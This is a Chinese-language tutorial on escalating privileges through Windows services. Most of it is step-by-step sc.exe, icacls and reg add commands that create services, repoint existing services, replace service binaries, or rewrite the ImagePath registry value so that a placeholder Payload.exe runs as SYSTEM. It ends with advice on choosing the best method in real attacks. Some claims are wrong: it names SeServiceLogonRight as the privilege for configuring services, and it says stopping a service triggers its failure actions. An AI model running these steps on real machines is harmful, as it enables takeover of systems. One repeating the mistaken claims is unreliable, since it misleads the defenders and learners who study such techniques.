在Windows操作系统中，服务是一种特殊的后台进程，它们通常以较高的权限（如 SYSTEM 或 Administrator）运行。攻击者可以通过控制服务的创建、配置或运行过程实现权限提升（提权）。本文将详细分析Windows服务提权的原理，并结合具体应用场景讲解其实现方法。
Windows服务提权的原理
服务（Service）通常在系统启动时运行，具备较高的权限级别。这些服务通过注册表进行配置，并依赖特定的文件路径加载相关程序或DLL。当服务的创建或配置存在安全漏洞时，攻击者便可通过以下方式实现提权：
- 创建新服务并指向恶意程序。
- 修改现有服务的配置（如文件路径或参数）。
- 替换服务所依赖的二进制文件或DLL。
- 利用服务注册表配置错误。
攻击的核心在于利用高权限服务执行恶意代码，从而提升攻击者的权限。
常见的提权场景及实现方法
场景1：用户拥有配置服务的特权
在一些环境中，用户可能被授予管理服务的权限，但并不具备管理员权限。这种情况下，攻击者可以通过 sc.exe 或 PowerShell 等工具创建或修改服务，从而执行恶意程序并提权。
操作步骤
-
使用
sc.exe创建一个恶意服务：sc.exe create MaliciousService binPath= "C:\Path\To\Payload.exe" start= auto -
启动服务：
sc.exe start MaliciousService -
恶意程序
Payload.exe将以服务的权限运行，通常是SYSTEM权限。
关键点分析
- 攻击者需要具备“配置服务”特权（如
SeServiceLogonRight）。 - 该方法适用于目标环境中权限管理不当的情况。
场景2：修改现有服务的配置
当攻击者无法直接创建服务，但能修改现有服务的配置时，可以将合法服务劫持为恶意服务。例如，通过修改服务的 binPath 实现对服务行为的控制。
操作步骤
-
查询现有服务：
sc.exe query -
查看服务的详细信息：
sc.exe qc LegitService -
修改服务的可执行文件路径为恶意程序：
sc.exe config LegitService binPath= "C:\Path\To\Payload.exe" -
启动服务：
sc.exe start LegitService
关键点分析
- 此方法利用的是服务配置的不安全性。
- 攻击者无需新建服务，只需控制现有服务的行为。
场景3：劫持服务的DLL或二进制文件
一些服务在运行时需要加载特定的DLL或依赖文件，如果这些文件路径未受到严格保护，攻击者可以替换或插入恶意文件，服务启动后会自动加载这些文件并执行。
操作步骤
-
查询服务的二进制路径：
sc.exe qc TargetService -
检查目标文件路径的权限：
icacls "C:\Path\To\ServiceBinary" -
替换文件：
- 将合法文件替换为恶意程序或DLL。
-
重启服务以加载新的文件：
sc.exe start TargetService
关键点分析
- 替换文件的前提是攻击者对文件路径具有写权限。
- 常见的DLL劫持还可以通过服务的加载顺序和未定义路径变量来实现。
场景4：利用注册表配置错误
Windows服务的配置信息通常存储在注册表中，如果这些注册表项权限配置不当，攻击者可以修改其中的关键参数（如 ImagePath），将服务劫持为恶意服务。
操作步骤
-
查询服务的注册表路径：
reg query "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" -
查看
ImagePath配置：reg query "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" /v ImagePath -
修改注册表项，将可执行文件路径改为恶意程序：
reg add "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" /v ImagePath /t REG_EXPAND_SZ /d "C:\Path\To\Payload.exe" /f -
启动服务：
sc.exe start <ServiceName>
关键点分析
- 注册表配置错误通常是由于管理员未合理限制访问权限。
- 攻击者可通过替换服务路径实现对服务行为的完全控制。
场景5：利用服务失败重启机制
Windows服务支持失败后自动重启的功能，攻击者可以修改服务的 FailureActions 配置，使其在失败时执行恶意程序。
操作步骤
-
查询服务的配置：
sc.exe qfailure <ServiceName> -
修改
FailureActions：sc.exe failure <ServiceName> reset= 0 actions= restart/6000/run/1000 -
指定失败后运行的程序路径：
sc.exe config <ServiceName> binPath= "C:\Path\To\Payload.exe" -
强制停止服务以触发重启：
sc.exe stop <ServiceName>
关键点分析
- 利用服务的自动恢复机制实现对服务的恶意控制。
- 该方法常用于隐蔽性更强的攻击场景。
总结
Windows服务提权是一种常见且有效的权限提升技术。通过创建新服务、修改现有服务配置、劫持服务文件或注册表，攻击者可以利用服务的高权限特性执行恶意代码。在实际攻击场景中，应结合环境权限、服务配置及文件路径等多方面信息选择最优的提权方法。
